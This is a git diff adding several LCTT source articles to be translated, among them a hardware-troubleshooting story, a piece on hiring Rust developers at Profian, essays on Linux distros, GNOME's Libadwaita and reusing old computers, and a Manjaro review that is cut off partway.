powering back on. + +It turns out that the front panel media dashboard caused the symptoms. + +I removed the media dashboard and plugged everything else back in. My workstation booted up properly and performed as expected. I had identified the culprit. + +### How it started + +Having figured out the actual problem, I immediately understood the root cause. It had started a couple of days previously. I was working with and testing several external USB devices, including various cameras, storage devices that I use for backups, and an external USB hub. + +I picked up one USB cable and plugged it into a USB 2.0 slot on the media dashboard. Everything ground to a halt, and most of the lights and fans went out. I unplugged the USB cable, which was now very hot, and burned my fingers. I had inadvertently plugged the type C end into the USB 3.0 type A socket, which had shorted the power. + +After unplugging the USB cable, everything went back to "normal"—except it didn't. The media dashboard lasted a few more days and then shorted out completely, having been weakened by my careless mistake. + +### Jumping to conclusions + +Knowledge and experience can sometimes count for more than tools like PSU testers. Except when they don't. I eventually found the actual cause of the problem, but I should have seen it sooner. + +Although I was correct about this being a power problem, I was sidetracked by not correctly reading the symptoms and following that line of inquiry to its logical conclusion. I could have isolated the true cause of the problem sooner than I did and saved the time I spent configuring my laptop to be a temporary primary device until I could fix my primary workstation. + +Sysadmins work with complex devices, and it can be easy to jump to conclusions. I have over 50 years of experience in the computer industry, and I still do it. I just need to remember to take a few deep [yoga breaths][2] and keep digging until I isolate the root cause of the problem. + +### Curiosity + +At least I followed my curiosity while waiting for the replacement motherboard to arrive. That allowed me to return things to normal much sooner than had I waited until the new motherboard arrived. And I might have discarded a perfectly good motherboard by not testing it further. + +There is a saying about curiosity killing the cat. I hate that saying because it is all too frequently used by parents, colleagues, pointy-haired bosses, teachers, and others who just want us curious folk to leave them alone. In reality, curiosity fuels the quest for knowledge and truth, whether it's about hardware, open source software, programming, building a PC, optimizing settings, or just learning a new application. Feed your curiosity! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/troubleshoot-hardware-sysadmin + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://opensource.com/article/21/11/linux-yoga diff --git a/sources/talk/20220204 How we hired an open source developer.md b/sources/talk/20220204 How we hired an open source developer.md new file mode 100644 index 0000000000..bfdefe20a0 --- /dev/null +++ b/sources/talk/20220204 How we hired an open source developer.md @@ -0,0 +1,104 @@ +[#]: subject: "How we hired an open source developer" +[#]: via: "https://opensource.com/article/22/2/how-we-hired-open-source-developer" +[#]: author: "Mike Bursell https://opensource.com/users/mikecamel" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How we hired an open source developer +====== +My team opted out of the standard algorithm coding exercise for a +process that yielded more relevant results. +![people in different locations who are part of the same team][1] + +As the CEO and co-founder of [Profian][2], a start-up security company, I've been part of our effort to hire developers to work on [Enarx][3], a security project that deals with confidential computing, written almost exclusively in [Rust][4] (with a bit of Assembly). Profian has now found all the people it was looking for in this search, with a couple of developers due to start in the next few weeks. However, new contributors are absolutely welcome to Enarx, and if things continue to go well, the company will definitely want to hire more folks in the future. + +Hiring people is not easy, and Profian had a set of specialized requirements that made the task even more difficult. I thought it would be useful and interesting for the community to share how we approached the problem. + +### What were we looking for? + +These are the specialized requirements I'm talking about: + + * **Systems programming:** Profian mainly needs people who are happy programming at the systems layer. This is pretty far down the stack, with lots of interactions directly with hardware or the OS. To create client-server pieces, for instance, we have to write quite a lot of the protocols, manage the crypto, and so forth, and the tools for this aren't all very mature (see "Rust" below). + + * **Rust:** Almost all of the project is written in Rust, and what isn't is written in Assembly language (currently exclusively x86, though that may change as we add more platforms). Rust is new, cool, and exciting, but it's still quite young, and some areas don't have all the support you might like or aren't as mature as you'd hope—everything from cryptography through multithreading libraries and compiler/build infrastructure. + + * **Distributed team:** Profian is building a team of folks where we can find them. Profian has developers in Germany, Finland, the Netherlands, North Carolina (US), Massachusetts (US), Virginia (US), and Georgia (US). I'm in the United Kingdom, our community manager is in Brazil, and we have interns in India and Nigeria. We knew from the beginning that we wouldn't have everyone in one place, and this required people who would be able to communicate and collaborate with people via video, chat, and (at worst) email. + + * **Security:** Enarx is a security project. Although we weren't specifically looking for security experts, we need people who can think and work with security top of mind and design and write code that is applicable and appropriate for the environment. + + * **Git:** All of our code is stored in git (mainly [GitHub][5], with a bit of GitLab thrown in). so much of our interaction around code revolves around git that anybody joining us would need to be very comfortable using it as a standard tool in their day-to-day work. + + * **Open source:** Open source isn't just a licence; it's a mindset and, equally important, a way of collaborating. A great deal of open source software is created by people who aren't geographically co-located and who might not even see themselves as a team. We needed to know that the people we hired, while gelling as a close team within the company, would be able to collaborate with people outside the organisation and embrace Profian's "open by default" culture, not just for code, but for discussions, communications, and documentation. + + + + +### How did we find them? + +As I've mentioned elsewhere, [recruiting is hard][6]. Profian used a variety of means to find candidates, with varying levels of success: + + * LinkedIn job adverts + * LinkedIn searches + * Language-specific discussion boards and hiring boards (e.g., Reddit) + * An external recruiter (shout out to Gerald at [Interstem][7]) + * Word-of-mouth/personal recommendations + + + +It's difficult to judge between these sources in terms of quality, but without an external recruiter, we'd certainly have struggled with quantity (and we had some great candidates from that pathway, too). + +### How did we select them? + +We needed to measure all of the candidates against all of the requirements noted above, but not all of them were equal. For instance, although we were keen to hire Rust programmers, someone with strong C/C++ skills at the systems level would be able to pick up Rust quickly enough to be useful. On the other hand, a good knowledge of using git was absolutely vital, as we couldn't spend time working with new team members to bring them up to speed on our way of working. + +A strong open source background was, possibly surprisingly, not a requirement, but the mindset to work in that sort of model was, and anyone with a history of open source involvement is likely to have a good knowledge of git. The same goes for the ability to work in a distributed team: So much of open source is distributed that involvement in almost any open source community was a positive indicator. Security, we decided, was a "nice-to-have" qualification. + +We wanted to keep the process simple and quick. Profian doesn't have a dedicated HR or People function, and we're busy trying to get code written. This is what we ended up with (with slight variations), and we tried to complete it within 1-2 weeks: + + 1. Initial CV/resume/GitHub/GitLab/LinkedIn review to decide whether to interview + 2. 30-40 minute discussion with me as CEO, to find out if they might be a good cultural fit, to give them a chance to find out about us, and to get an idea if they were as technically adept as they appeared in Step 1 + 3. Deep dive technical discussion led by Nathaniel, usually with me there + 4. Chat with other members of the team + 5. Coding exercise + 6. Quick decision (usually within 24 hours) + + + +The coding exercise was key, but we decided against the usual approach. Our view was that a pure "algorithm coding" exercise beloved by many tech companies was pretty much useless for what we wanted: to find out whether a candidate could quickly understand a piece of code, fix some problems, and work with the team to do so. We created a GitHub repository with some almost-working Rust code in it (in fact, we ended up using two, with one for people a little higher up the stack), then instructed candidates to fix it, perform some git-related processes on it, and improve it slightly, adding tests along the way. + +An essential part of the test was to get candidates to interact with the team via our chat room(s). We scheduled 15 minutes on a video call for setup and initial questions, two hours for the exercise ("open book" – as well as talking to the team, candidates were encouraged to use all resources available to them on the Internet), followed by a 30-minute wrap-up session where the team could ask questions, and the candidate could reflect on the task. This conversation, combined with the chat interactions during the exercise, allowed us to get an idea of how well the candidate was able to communicate with the team. Afterwards, the candidate would drop off the call, and we'd most often decide within 5-10 minutes whether we wanted to hire them. + +This method generally worked very well. Some candidates struggled with the task, some didn't communicate well, some failed to do well with the git interactions – these were the people we didn't hire. It doesn't mean they're not good coders or might not be a good fit for the project or the company later on, but they didn't meet the criteria we need now. Of the developers we hired, the level of Rust experience and need for interaction with the team varied, but the level of git expertise and their reactions to our discussions afterwards were always sufficient for us to decide to take them. + +### Reflections + +On the whole, I don't think we'd change a huge amount about the selection process—though I'm pretty sure we could do better with the search process. The route through to the coding exercise allowed us to filter out quite a few candidates, and the coding exercise did a great job of helping us pick the right people. Hopefully, everyone who's come through the process will be a great fit and produce great code (and tests and documentation and …) for the project. Time will tell! + +* * * + +This article originally appeared on [Alice, Eve and Bob – a security blog][8] and is republished with permission. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/how-we-hired-open-source-developer + +作者:[Mike Bursell][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mikecamel +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connection_people_team_collaboration.png?itok=0_vQT8xV (people in different locations who are part of the same team) +[2]: https://profian.com/ +[3]: https://enarx.dev/ +[4]: https://opensource.com/article/21/3/rust-programmer +[5]: https://github.com/enarx/ +[6]: https://aliceevebob.com/2021/11/09/recruiting-is-hard/ +[7]: https://www.interstem.co.uk/ +[8]: https://aliceevebob.com/ diff --git a/sources/talk/20220211 Should You Use a New, Obscure Linux Distro or Stick With the Mainstream Ones.md b/sources/talk/20220211 Should You Use a New, Obscure Linux Distro or Stick With the Mainstream Ones.md new file mode 100644 index 0000000000..142f5d4604 --- /dev/null +++ b/sources/talk/20220211 Should You Use a New, Obscure Linux Distro or Stick With the Mainstream Ones.md @@ -0,0 +1,100 @@ +[#]: subject: "Should You Use a New, Obscure Linux Distro or Stick With the Mainstream Ones?" +[#]: via: "https://news.itsfoss.com/obscure-or-maintsream-distro/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Should You Use a New, Obscure Linux Distro or Stick With the Mainstream Ones? +====== + +When you start using Linux on your desktop, you probably stick with the [beginner-friendly distros][1] like Ubuntu or Linux Mint. + +As you get familiar with Linux and start loving it, you join Linux related communities on various social channels, follow websites that share Linux content (like It’s FOSS). And when you do that, you also start discovering new, rather unknown distributions. + +Since you are new to the scene, you may get tempted to try one distro after another and fell down the ‘distrohopping’ slope. + +![Tempting looking distro][2] + +This is when you start asking this question, “should I use an unknown distro or should I stay with the popular distributions like most people”? + +The simpler answer is to stay with the mainstream distributions but the real answer needs some thinking from your end. + +### The problem with using the new, obscure distributions + +The major problem with the ‘brand new, lone developer distro’ is the uncertainty. You don’t know how long the project will live. It could be a year, it could be a month. + +I have seen this with several distributions. There was [SemiCode OS][3] that got popular because it was created for programmers. A similar distribution called Emperor OS disappeared recently. These are just a few examples from the long list of distros that were discontinued within a couple of years of their inception. + +You may say the same could happen with an older distribution with decent user base as well. That’s true, but usually, there is a community and more than one developer working on the project. You have some assurance there. + +Due to the lack of experience from the developer(s), the new distros may miss out on crucial features. For example, the astonishing looking Garuda Linux doesn’t officially recommend dual booting at the time of writing this article. + +![][4] + +This is when Garuda Linux has a decent following and a few developers involved with the project. + +### Most new distros don’t offer anything of substance + +You’ll often come across brand new distributions that are based on some other popular distributions like Ubuntu or Arch Linux. The only thing that differs is probably the default applications, theme and wallpapers. + +If it’s a ‘distro for programmers’, it will have a few programming applications installed by default. If it’s a ‘gaming distribution’, it probably will be coming with a few tools like Steam, Wine, [Lutris][5] installed. You are not likely to see some real optimization on the graphics or hardware part. + +This is the reason many people say that we don’t need more distributions in an already crowded space with hundreds of distributions. After all, it’s not that difficult to install the required applications in the mainstream distributions. + +### Am I against these new distros? + +Absolutely not. + +You may feel like there is no need for new distros that hardly add anything of value. You maybe right because those projects might not matter to you, but they do matter to the person who is developing it. + +Have you ever tried to learn a programming language? The first tutorial is often a ‘hello world’ program. Even the advanced programmers start from the ‘hello world’. + +Babies don’t start running straight away. It takes time to go to that stage. + +I see the projects in the same way. If someone loves Linux and is excited to create their own ‘operating system’, let them do that. If you prefer not to encourage them, don’t discourage them as well. + +Most project starts the same way. Linux Mint is a hugely popular Linux distribution. It was started back in 2006 and based itself on Kubuntu. + +Was there really a need of ‘a similar distro based on Ubuntu’? Not really. But look where Linux Mint stands today. + +### So, should you use new distros or not? + +Overall, it all depends on you. + +If you don’t like formatting your systems all the time and would like to continue with your life, stay with the mainstream distros. + +If you like to experiment and don’t mind messing up with your system and change operating systems frequently, you may very well try the new distros. Personally, I would advise trying them in virtual machines. If you can have a spare system just for the experimentation, even better. + +You may also use distributions that have been on the scene for years but they are not as popular as the likes of Ubuntu, Mint, Fedora and Debian. Projects like [PCLinuxOS][6], [Puppy Linux][7], Peppermint OS etc. have a smaller but active community. They are definitely a dependable choice, even for your main system. + +While choosing a distribution, apart from the base distro, you should also see if the distro gets regular updates and has an active community. You just have to check the project forum and see if there are enough activities in the community. + +### What do you prefer? + +That’s what I think and suggest when it comes to choosing between new, obscure distros and the popular, mainstream ones. + +How about you? What kind of distributions do you prefer? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/obscure-or-maintsream-distro/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-linux-beginners/ +[2]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjQzOSIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[3]: https://itsfoss.com/semicode-os-linux/ +[4]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjIxMSIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[5]: https://lutris.net/ +[6]: http://www.pclinuxos.com/ +[7]: https://puppylinux.com/ diff --git a/sources/talk/20220319 What-s the Fuss About GNOME-s Libadwaita Library in Linux World.md b/sources/talk/20220319 What-s the Fuss About GNOME-s Libadwaita Library in Linux World.md new file mode 100644 index 0000000000..6c080d9828 --- /dev/null +++ b/sources/talk/20220319 What-s the Fuss About GNOME-s Libadwaita Library in Linux World.md @@ -0,0 +1,93 @@ +[#]: subject: "What’s the Fuss About GNOME’s Libadwaita Library in Linux World?" +[#]: via: "https://news.itsfoss.com/gnome-libadwaita-library/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What’s the Fuss About GNOME’s Libadwaita Library in Linux World? +====== + +Back in March 2020, the GNOME project announced a new library called Libadwaita. This promised to fix numerous fundamental issues with GTK, the library GNOME uses to build its desktop environment. + +Unfortunately, this announcement also resulted in some significant community backlash. While this hasn’t really slowed the adoption of Libadwaita, it seems that some users are now starting to boycott GNOME because of it. + +But what impact does Libadwaita have in the real world? And how does this differ for users and developers? + +### Main Features Of Libadwaita + +While it was originally meant to be a solution to the many GNOME-specific libraries developers needed to use, it has since grow into much more. As Adrian Plazas said in his [blog][1]: + +> GNOME needs a blessed library implementing its HIG (Human Interface Guidelines) rapidly, developed in collaboration with its design team. +> +> […] +> +> To solve both GTK’s need of independence and GNOME’s need to move faster, we are creating the libadwaita project. This new libadwaita library intends to extend that concept by being the missing code part of Adwaita. The library will be implemented as a direct GTK 4 continuation and replacement of libhandy, and it will be developed by libhandy’s current developers. + +Adrian Plazas + +Basically, Libadwaita is meant to be a GNOME-specific version of GTK4, with the GNOME project in complete control of the look and feel of apps. However, it also incorporates a number of other features: + + * Adaptive widgets so that apps can work on both desktops, laptops, tablets, and smartphones (like the PinePhone) + * New Adwaita version, following the latest trends in UI design + * Built-in styles for buttons and other widgets + * Built-in in-app notifications + * Improved and more customizable animations + * Speed and fluidity improvements + + + +While all these features are awesome, a select few have divided the community, mostly between developers and users. As someone who has made a number of small little projects with Libadwaita and GTK3 (without Libadwaita), as well as a GNOME user, I want to talk about the different perspectives of different people. + +### User Perspective + +![][2] + +Unfortunately, Libadwaita has been met by immense backlash by some GNOME users. This all stems from one key change in Libadwaita: The inability to theme it. This is because the Adwaita theme is built right into Libadwaita, meaning that it would need to be recompiled every time the theme was changed. + +This is a fundamental aspect of Libadwaita, for better or for worse. As a result, some users have decided that this is an attempt by GNOME to lock down their app ecosystem. + +However, this does not mean that Libadwaita is dead in the water. From the very beginning, the GNOME developers have been adamant that a theming API would come soon, and it looks like this will happen. + +While this wouldn’t solve the issue of incompatibility of existing GTK and GNOME themes, it would solve some more fundamental issues. As has been said numerous times, the CSS theming that GTK currently users is much more of a band-aid fix to the problem of theming than a permanent solution. And, as with many open-source projects, this band-aid fix has been built upon to the extent now that there is very little chance of going back. + +Libadwaita would go some steps to fixing this, but at the cost of the existing app ecosystem. With all this hate, however, developers continue to implement it. Why might this be? + +### Developer Perspective + +![][2] + +As you saw in the feature list before, there are a huge number of features that help developers tremendously. For me, this has been the ability to create convergent apps, and the sole reason I use Libadwaita. + +Unfortunately, as with almost every new GNOME library, there is minimal language-specific documentation available. This is instead replaced with a much more generic, automatically-generated documentation system. + +While this is better than nothing, it is still quite lacklustre, especially considering the incredible community of developers GNOME has. + +### A Better Solution? + +Now, I hope that I have explained everyone’s position on Libadwaita, except mine. To be honest, I actually quite enjoy developing with it, even with all its teething problems. Unfortunately, I am also a huge fan of theming, and have found Libadwaita apps quite jarring compared to everything else. + +However, I think there is a solution. As I said before, Libadwaita was created in response to the faster development pace GNOME needed. However, couldn’t this be achieved through a branch from GTK 4? + +This would allow GTK to inherit all the exciting features in Libadwaita, as well as allowing a more unified approach to GNOME libraries. As I said before in [my Flutter article][3], I believe that desktop Linux is too fragmented, and this extends to GTK. + +What do you think about Libadwaita? Do you support it, or are you going to be boycotting GNOME? Please, I would love to hear your opinions in the comments below! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-libadwaita-library/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://aplazas.pages.gitlab.gnome.org/blog/blog/2021/03/31/introducing-libadwaita.html +[2]: data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjQzOSIgd2lkdGg9Ijc4MCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2ZXJzaW9uPSIxLjEiLz4= +[3]: https://news.itsfoss.com/no-flutter-on-linux-desktop/ diff --git a/sources/talk/20220421 How Linux rescues slow computers (and the planet).md b/sources/talk/20220421 How Linux rescues slow computers (and the planet).md new file mode 100644 index 0000000000..42c8c722e0 --- /dev/null +++ b/sources/talk/20220421 How Linux rescues slow computers (and the planet).md @@ -0,0 +1,115 @@ +[#]: subject: "How Linux rescues slow computers (and the planet)" +[#]: via: "https://opensource.com/article/22/4/how-linux-saves-earth" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How Linux rescues slow computers (and the planet) +====== +Don't throw away your old computer. Skip the landfill and revive it with Linux. + +![Old UNIX computer][1] + +(Image by: Opensource.com) + +Mint and Kasen, two of my grandkids, asked me to help them build gaming computers. I am ecstatic that they asked. This gives me a great opportunity to help them learn about technology while being a part of their lives. Both of those things make me happy. There are many ways to approach the ecological impact of computers. + +Wait! That's quite a non-sequitur—right? Not really, and this article is all about that. + +### What happens to old computers? + +What happens to old computers (and why) is a big part of this discussion. Start with the typical computer getting replaced after about five years of service. Why? + +Online articles such as [this one][2] I found on CHRON, a publication aimed at small businesses suggest a three-to-five-year lifespan for computers. This is partly based on the alleged fact that computers slow down around that time in their life cycle. I find the pressure to get a newer, faster computer within that same time frame in this and other articles. Of course, much of that pressure comes from the computer and chip vendors who need to keep their income streams growing. + +The United States Internal Revenue Service reinforces this five-year service life by specifying that time frame for full depreciation of computers. + +Let's start with the myth of computer slowdowns. Computers don't slow down—ever. Computers always run at their designed clock speeds. Whether that is 2.8GHz or 4.5GHz, they will always run at that speed when busy. Of course, the clock speeds get intentionally reduced when the computer has little or nothing to do, saving power. + +Computers don't slow down because they are old. Computers with Windows installed produce less legitimate work as they grow older because of the massive amount of malware, spyware, adware, and scareware they accumulate over time. Computer users have come to believe that this is normal, and they resign themselves to life with all of this junk dragging down the performance of their computers. + +More Linux resources + +* Linux commands cheat sheet +* Advanced Linux commands cheat sheet +* Free online course: RHEL Technical Overview +* Linux networking cheat sheet +* SELinux cheat sheet +* Linux common commands cheat sheet +* What are Linux containers? +* Our latest Linux articles + +### Linux to the rescue + +As a known computer geek among my friends and acquaintances, people sometimes gift me with their old computers. They no longer want them because they are slow, so they give them to me and ask me to wipe their hard drives before taking them to the electronics recycling center a few blocks from my house. I always suggest that their three-to-five-year-old computers are still good, but they seem intent on spending money rather than learning a new operating system. + +I have several old computers gifted to me. One, in particular, a Dell Optiplex 755 with a 2.33 GHz Core 2 Duo processor and 8GB of RAM, is particularly interesting. Its BIOS is dated 2010, so it is around 12 years old. It is the oldest computer I have, and I keep it quite busy. I have had it for several years, and it never slows down because I use Linux on it—Fedora 35 right now. + +If that is an exception, here are more. I built three computers for myself in 2012, ten years ago, and installed Fedora on all of them. They are all still running with no problems and as fast as they ever did. + +There are no exceptions here, just normal operations for old computers on Linux. + +Using Linux will at least double the usable lifetime of a computer and at no cost. This keeps those computers out of the landfill (at worst) and out of the recycling centers (at best) for an additional five-to-seven years or more. + +So long as I can find replacement parts for these computers, I can keep them running and out of any disposal or recycling path. The problem with some computers is finding parts. + +### Non-standard hardware + +Let's talk about non-standard hardware and some of the computers that you can buy from some well-known companies. As I mentioned above, one of my old computers is a Dell. Dell is a respectable company that has been around for a long time. I will never purchase a Dell desktop or tower computer, although I will take them as donations or gifts. I can install Linux, get rid of Windows, and make these old computers useful again. I use them in my home lab as test computers, among other things. + +However, Dell uses some non-standard parts that you can't easily replace. When you can find parts (like power supplies and motherboards), they are not cheap. The reason is that those vendors create systems with non-standard power supplies and motherboards that only fit within their own non-standard cases. This is a strategy used to keep revenues up. If you can't find these parts on the open market, you must go to the original manufacturer and pay inflated, if not exorbitant, prices. + +As one example, the Dell Optiplex I have uses a motherboard, case, and power supply that do not meet generally accepted standards for physical compatibility. In other words, a Dell motherboard or power supply would not fit in a standard case that I can purchase at the local computer store or Amazon. Those parts would not fit in a gaming case that my grandkids would use. The holes for mounting the motherboard and power supply would not align. The power supply would not fit the space available in the standard case. The PCI card slots and back panel connectors on the motherboard would be in the wrong place for a standard case, and the power supply connectors would not match those on a standard motherboard. + +Eventually, one or more of those non-standard parts will fail, and you won't be able to find a replacement at all, or at least not for a reasonable price. At that point, it makes sense to dispose of the old computer and purchase a new one. + +### Standard builds + +Let's explore what using standardized parts can do for building computers, their longevity, and how that applies to the gaming computers that I am helping my grandkids with. + +Most motherboards are standardized. They have standard forms such as micro ATX, ATX, and extended ATX. All of these have mounting holes in standard locations. Many of the locations overlap, so holes for ATX motherboards align with many of the mounting holes used on extended ATX motherboards. This means that you can always use a case that has holes drilled for standard motherboard hole locations for any of those motherboards. These motherboards have standard power connectors, which means you can use them with any standard power supply. + +I sent both of my grandkids a gaming computer case that has standardized mounting holes for the motherboards for their birthdays. These holes have standard threads so that they can use the brass standoffs that come with any motherboard in those motherboard mounting holes. The standoffs screw into the motherboard, and themselves have standard threaded holes that fit standard motherboard mounting screws. + +The result of all this is that they can install any standard motherboard in any standard case using standard fasteners with any standard power supply. + +Note that memory, processors, and add-in cards are all standardized, but they must be compatible with the motherboard. So memory for an old motherboard may no longer be available. You would need a new motherboard, memory, and processor in such a case. But the rest of the computer is still perfectly good. + +As I have told Mint and Kasen, building (or purchasing) a computer with standard parts means never having to buy a new computer. The good case I gave them will never need replacement. Over time components may fail, but they only need to replace any defective parts. This continuous renewal of standardized parts will allow those computers to last a lifetime with minimal cost. If one component fails, just replace that one part and recycle the defective one. + +This also significantly reduces the amount of material you need to recycle or otherwise add to the landfills. + +### Recycling old computer parts + +I am fortunate to live in a place that provides curbside recycling pickup. Although that curbside pickup does not include electronic devices, multiple locations around the area do take electronics for recycling, and I live close to one. I have taken many loads of old, unusable electronics to that recycling center, including my computers' defective parts. But never an entire computer. + +I collect those defective parts in old cardboard boxes, sorted by type—electronics in one, metal in another, batteries in a third, and so on. This corresponds to the collection points at the recycling center. When a box or two get full, I take them for recycling. + +### Some final thoughts + +Even after a good deal of research for this article and my own edification in the past, it is very difficult to determine where the recycled computers and computer parts will go. The website for our recycling center indicates that the outcomes for each type of recycled material get based on its economic value. Computers have relatively large amounts of valuable metals and rare earth elements, so they get recycled. + +The issue of whether such recycling gets performed in ways that are healthy for the people involved and the planet itself is another story. So far, I have been unable to determine where electronics destined for recycling go from here. I have decided that I need to do my part while working to ensure the rest of the recycling chain gets set up and functions appropriately. + +The best option for the planet is to keep computers running as long as possible. Replacing only defective components as they go bad can keep a computer running for years longer than the currently accepted lifespan and significantly reduces the amount of electronic waste that we dump in landfills or that needs recycling. + +And, of course, use Linux so your computers won't slow down. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/4/how-linux-saves-earth + +作者:[David Both][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/retro_old_unix_computer.png +[2]: https://smallbusiness.chron.com/life-span-average-pc-69823.html diff --git a/sources/talk/20220423 I Ditched Ubuntu for Manjaro- Here-s What I Think After a Week.md b/sources/talk/20220423 I Ditched Ubuntu for Manjaro- Here-s What I Think After a Week.md new file mode 100644 index 0000000000..948d479519 --- /dev/null +++ b/sources/talk/20220423 I Ditched Ubuntu for Manjaro- Here-s What I Think After a Week.md @@ -0,0 +1,188 @@ +[#]: subject: "I Ditched Ubuntu for Manjaro: Here’s What I Think After a Week" +[#]: via: "https://news.itsfoss.com/manjaro-linux-experience/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +I Ditched Ubuntu for Manjaro: Here’s What I Think After a Week +====== + +Primarily, I rely on Ubuntu-based distributions like Pop!_OS, Zorin OS, Linux Mint, or Ubuntu itself for work. + +They get out of the way when I work on something, along with seamless software updates. Not to forget, they get along well with my Intel-Nvidia-powered system. + +Everything (can be subjective) works out of the box. + +However, I recently decided to switch to Arch Linux on bare metal (because I mostly used it on virtual machines). + +And then, I ended up using **Manjaro Linux** (an Arch-based distro). + +### Here’s Why I Picked Manjaro Linux + +To my surprise, I couldn’t even get past the “_nouveau DRM: core notifier timeout_” error, let alone proceed with the installation when using a **live USB for Arch Linux**. Yes, I’m aware of the [guided installer with Arch Linux][1], but the connected displays just kept on flickering, highlighting this error, no matter what. + +The best solution to this problem was not to get an NVIDIA card with my recent upgrade. + +_Too bad, I prefer Nvidia GPUs…_ + +AMD’s RX 6600 XT is similarly priced to RTX 3060 Ti; it did not make sense to get that card for 1440p. + +So, yes, RTX 3060 Ti can be the problem in my case. + +While I found some methods to troubleshoot the issue, I was too lazy. I just wanted to see if I could experience Arch Linux without putting in a great effort. + +**So, here’s what I did:** + +The next-best option would be to try any of the [best Arch-based distros][2] tailored to make things easy, right? + +And that’s where **Manjaro Linux** comes in. + +Manjaro Linux is a popular Arch-based distro, and I’ve noticed regular improvements to it with every update (while using it on a VM). + +Furthermore, I like Manjaro’s default theme accent color for my desktop experience. + +So, I decided to give it a try… + +### Manjaro Linux: Rough Start + +![][3] + +I did not have any issues installing Manjaro with proprietary Nvidia drivers. However, a recent point update, i.e., **Manjaro Linux 21.2.6,** messed up the system. + +I couldn’t access the login screen and the [TTY][4] (all I could see was the motherboard’s manufacturer logo) + +So, I had to re-install Manjaro Linux using the latest ISO, and so far, so good (touch wood). + +And during my usage of Manjaro Linux, I noticed a few things that make up for its good and bad points. + +Here, I highlight some of my experiences. These insights should help you explore more about it if you haven’t tried it yet. + +#### 1\. Easy Installation + +The primary highlight of an Arch-based distro is to make things easy to set up. And I had no issues whatsoever. + +It was a breeze installing Manjaro Linux on my secondary drive. The bootloader was correctly configured to display the Manjaro-themed boot menu that lets me select Windows/Manjaro Linux for dual-boot. + +#### 2\. Manjaro Hello + +![][5] + +The welcome experience makes up for a significant part of a user experience when trying something new. And Manjaro Linux does not disappoint in this regard. + +You get all the essential information if you pay close attention to the information available via the welcome screen. + +The GNOME Layouts Manager lets you pick a suitable layout to get yourself comfortable. + +![][6] + +However, I couldn’t get the “**Window Tiling**” functionality working when I tried to enable it here: + +![][7] + +#### 3\. Package Manager is Fast and Versatile + +![][8] + +Considering that GNOME is my favorite desktop environment, I have had terrible experiences with the software center (or even with distro-specific stores like Pop!_Shop). + +While they get the work done, sometimes they do not respond or aren’t responsive enough as I expect them to be. + +With Manjaro Linux, I found [Pamac][9] installed as the package manager. It seems to be one of the [best ways to install and remove software on Manjaro Linux][10]. + +In my experience, it was blazing fast with installations and removing packages. You also get prompts for conflicts in packages or if something needs to be replaced/removed. The package manager gives plenty of information about the optional/required dependencies when you install something. + +Overall, it was a pretty good experience without any slowdowns. To sweeten the experience, the package manager lets you quickly enable the support for **Flatpaks/Snaps/AUR** by tweaking the preferences of pamac. + +![][11] + +So, you do not have to use the terminal or different software stores. Everything will 